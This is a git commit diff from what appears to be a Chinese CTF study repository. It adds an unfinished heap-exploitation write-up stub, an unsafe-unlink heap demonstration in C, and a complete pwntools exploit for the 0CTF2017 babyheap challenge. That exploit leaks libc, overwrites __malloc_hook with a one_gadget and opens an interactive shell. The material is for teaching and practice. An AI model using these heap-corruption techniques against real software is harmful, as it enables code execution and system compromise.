|
||||
Enter the sentence size:
|
||||
10
|
||||
Enter the sentence:
|
||||
hello aaaa
|
||||
Added sentence
|
||||
1: Search with a word
|
||||
2: Index a sentence
|
||||
3: Quit
|
||||
2
|
||||
Enter the sentence size:
|
||||
10
|
||||
Enter the sentence:
|
||||
hello bbbb
|
||||
Added sentence
|
||||
1: Search with a word
|
||||
2: Index a sentence
|
||||
3: Quit
|
||||
1
|
||||
Enter the word size:
|
||||
5
|
||||
Enter the word:
|
||||
hello
|
||||
Found 10: hello bbbb
|
||||
Delete this sentence (y/n)?
|
||||
y
|
||||
Deleted!
|
||||
Found 10: hello aaaa
|
||||
Delete this sentence (y/n)?
|
||||
n
|
||||
1: Search with a word
|
||||
2: Index a sentence
|
||||
3: Quit
|
||||
3
|
||||
```
|
||||
根据经验,这是一道堆利用的题目。
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
## 参考资料
|
||||
- [how2heap](https://github.com/shellphish/how2heap)
|
@ -11,6 +11,7 @@
|
||||
- [6.1.8 pwn DCTF2017 Flex](6.1.8_pwn_dctf2017_flex.md)
|
||||
- [6.1.9 pwn RHme3 Exploitation](6.1.9_rhme3_exploitation.md)
|
||||
- [6.1.10 pwn 0CTF2017 BabyHeap2017](6.1.10_0ctf2017_babyheap2017.md)
|
||||
- [6.1.11 pwn 9447CTF2015 Search-Engine](6.1.11_9447ctf2015_search_engine.md)
|
||||
- re
|
||||
- [6.2.1 re XHPCTF2017 dont_panic](6.2.1_re_xhpctf2017_dont_panic.md)
|
||||
- [6.2.2 re ECTF2016 tayy](6.2.2_re_ectf2016_tayy.md)
|
||||
|
5246
src/Others/1.5.8_glibc_malloc/malloc-2.23.c
Normal file
5246
src/Others/1.5.8_glibc_malloc/malloc-2.23.c
Normal file
File diff suppressed because it is too large
Load Diff
47
src/Others/3.3.5_heap_exploit/unsafe_unlink.c
Normal file
47
src/Others/3.3.5_heap_exploit/unsafe_unlink.c
Normal file
@ -0,0 +1,47 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
uint64_t *chunk0_ptr;
|
||||
|
||||
int main() {
|
||||
int malloc_size = 0x80; // not fastbins
|
||||
int header_size = 2;
|
||||
|
||||
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
|
||||
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
|
||||
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
|
||||
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
|
||||
|
||||
// pass this check: (P->fd->bk != P || P->bk->fd != P) == False
|
||||
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
|
||||
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
|
||||
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
|
||||
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
|
||||
// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
|
||||
// chunk0_ptr[1] = 0x0; // or 0x8, 0x80
|
||||
|
||||
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
|
||||
chunk1_hdr[0] = malloc_size;
|
||||
chunk1_hdr[1] &= ~1;
|
||||
|
||||
// deal with tcache
|
||||
// int *a[10];
|
||||
// int i;
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// a[i] = malloc(0x80);
|
||||
// }
|
||||
// for (i = 0; i < 7; i++) {
|
||||
// free(a[i]);
|
||||
// }
|
||||
free(chunk1_ptr);
|
||||
|
||||
char victim_string[9];
|
||||
strcpy(victim_string, "AAAAAAAA");
|
||||
chunk0_ptr[3] = (uint64_t) victim_string;
|
||||
fprintf(stderr, "Original value: %s\n", victim_string);
|
||||
|
||||
chunk0_ptr[0] = 0x4242424242424242LL;
|
||||
fprintf(stderr, "New Value: %s\n", victim_string);
|
||||
}
|
104
src/writeup/6.1.10_0ctf2017_babyheap2017/exp.py
Normal file
104
src/writeup/6.1.10_0ctf2017_babyheap2017/exp.py
Normal file
@ -0,0 +1,104 @@
|
||||
from pwn import *
|
||||
|
||||
io = remote('127.0.0.1', 10001)
|
||||
|
||||
def alloc(size):
|
||||
io.recvuntil("Command: ")
|
||||
io.sendline('1')
|
||||
io.recvuntil("Size: ")
|
||||
io.sendline(str(size))
|
||||
|
||||
def fill(idx, cont):
|
||||
io.recvuntil("Command: ")
|
||||
io.sendline('2')
|
||||
io.recvuntil("Index: ")
|
||||
io.sendline(str(idx))
|
||||
io.recvuntil("Size: ")
|
||||
io.sendline(str(len(cont)))
|
||||
io.recvuntil("Content: ")
|
||||
io.send(cont)
|
||||
|
||||
def free(idx):
|
||||
io.recvuntil("Command: ")
|
||||
io.sendline('3')
|
||||
io.recvuntil("Index: ")
|
||||
io.sendline(str(idx))
|
||||
|
||||
def dump(idx):
|
||||
io.recvuntil("Command: ")
|
||||
io.sendline('4')
|
||||
io.recvuntil("Index: ")
|
||||
io.sendline(str(idx))
|
||||
io.recvuntil("Content: \n")
|
||||
data = io.recvline()
|
||||
return data
|
||||
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
alloc(0x80)
|
||||
#fill(0, "A"*16)
|
||||
#fill(1, "A"*16)
|
||||
#fill(2, "A"*16)
|
||||
#fill(3, "A"*16)
|
||||
#fill(4, "A"*128)
|
||||
|
||||
free(1)
|
||||
free(2)
|
||||
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
payload += p64(0)
|
||||
payload += "A"*8
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
payload += p8(0x80)
|
||||
fill(0, payload)
|
||||
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
fill(3, payload)
|
||||
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
#fill(1, "B"*16)
|
||||
#fill(2, "C"*16)
|
||||
#fill(4, "D"*16)
|
||||
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
payload += p64(0x91)
|
||||
fill(3, payload)
|
||||
|
||||
alloc(0x80)
|
||||
#fill(5, "A"*128)
|
||||
|
||||
free(4)
|
||||
|
||||
leak = u64(dump(2)[:8])
|
||||
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
|
||||
__malloc_hook = libc + 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
|
||||
one_gadget = libc + 0x4526a
|
||||
log.info("leak => 0x%x" % leak)
|
||||
log.info("libc => 0x%x" % libc)
|
||||
log.info("__malloc_hook => 0x%x" % __malloc_hook)
|
||||
log.info("one_gadget => 0x%x" % one_gadget)
|
||||
|
||||
alloc(0x60)
|
||||
free(4)
|
||||
|
||||
payload = p64(libc + 0x3c4afd)
|
||||
fill(2, payload)
|
||||
|
||||
alloc(0x60)
|
||||
alloc(0x60)
|
||||
|
||||
payload = p8(0)*3
|
||||
payload += p64(one_gadget)
|
||||
fill(6, payload)
|
||||
|
||||
alloc(1)
|
||||
io.interactive()
|
Binary file not shown.
1
src/writeup/6.1.10_0ctf2017_babyheap2017/run.sh
Executable file
1
src/writeup/6.1.10_0ctf2017_babyheap2017/run.sh
Executable file
@ -0,0 +1 @@
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &
|
BIN
src/writeup/6.1.11_9447ctf2015_search_engine/search
Executable file
BIN
src/writeup/6.1.11_9447ctf2015_search_engine/search
Executable file
Binary file not shown.
Loading…
Reference in New Issue
Block a user